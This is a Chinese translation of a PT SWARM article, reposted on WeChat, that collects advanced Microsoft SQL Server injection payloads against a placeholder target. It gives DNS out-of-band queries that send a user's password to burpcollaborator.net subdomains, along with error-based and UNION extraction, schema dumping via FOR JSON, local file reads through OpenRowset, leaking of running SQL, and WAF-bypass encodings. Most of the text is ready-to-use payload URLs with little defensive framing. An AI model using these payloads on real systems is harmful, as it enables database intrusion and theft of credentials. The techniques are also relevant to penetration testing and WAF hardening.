本文为翻译文章
原文:https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
作者:PT SWARM Team
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
我们汇总了几种MSSQL注入利用的技术。所有payload均在三个最新版本的Microsoft SQL Server上进行了测试:2019、2017、2016SP2。
DNS带外
如果你碰到的是完完全全的盲注,或者没有回显的堆叠注入,你可以使用fn_xe_file_target_read_file
,fn_get_audit_file
和 fn_trace_gettable
进行oob带外。
fn_xe_file_target_read_file()
例:
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:*.xel','\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net1.xem',null,null))
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
权限:在服务器上需要“VIEW SERVER STATE”权限。
fn_get_audit_file()
例:
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net',default,default)))
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
权限:需要CONTROL SERVER权限
fn_trace_gettable()
example:
https://vuln.app/getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net1.trc',default))
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
权限:需要CONTROL SERVER权限
替换测试报错注入的变量
基于错误的SQL注入通常类似于+AND+1=@@version–
之类的构造以及基于OR运算符的变体。包含此类表达式的查询通常被WAF阻止。作为bypass,使用%2b
字符连接字符串,并使用特定函数调用的结果,这些函数会触发所需数据的数据类型转换错误。
-
SUSER_NAME()
-
USER_NAME()
-
PERMISSIONS()
-
DB_NAME()
-
FILE_NAME()
-
TYPE_NAME()
-
COL_NAME()
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
快速利用:在一个查询中检索整个表
有两种简单的方法可以在一个查询中检索表的全部内容-使用FOR XML或FOR JSON子句。FOR XML子句需要指定的模式,例如«raw»,因此简短起见,FOR JSON胜过它。
从当前数据库检索模式,表和列的查询:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
基于错误的向量需要别名或名称,因为不能将两者的表达式输出格式化为JSON。
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
读取本地文件
C:Windowswin.ini
使用函数OpenRowset()检索本地文件的示例:
https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:Windowswin.ini’,SINGLE_CLOB)+R(x)),null,null
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
基于错误的向量:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:Windowswin.ini',SINGLE_CLOB)+R(x))--
权限: BULK选项需要ADMINISTER BULK OPERATIONS或ADMINISTER DATABASE BULK OPERATIONS权限。
爆出当前SQL语句
当前执行的SQL语句可以从sys.dm_exec_requests
和 sys.dm_exec_sql_text
中查询:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
权限:如果用户在服务器上具有“查看服务器状态”权限,则该用户将在SQL Server实例上看到所有正在执行的会话;否则,用户将仅看到当前会话。
WAF绕过的小技巧
非标准的空白字符:%C2%85 или %C2%A0
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
科学(0e)和十六进制(0x)表示法,用于混淆UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
在FROM和列名之间用点
代替空格:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
SELECT和一次性列之间的N
分隔符:
https://vuln.app/getItem?id=0xunion+selectNnull,@@version,null+from+users--
分享、点赞、在看就是对我们的一种支持!
![[翻译]一些MSSQL注入的Tricks [翻译]一些MSSQL注入的Tricks]()
本文始发于微信公众号(ChaBug):[翻译]一些MSSQL注入的Tricks
评论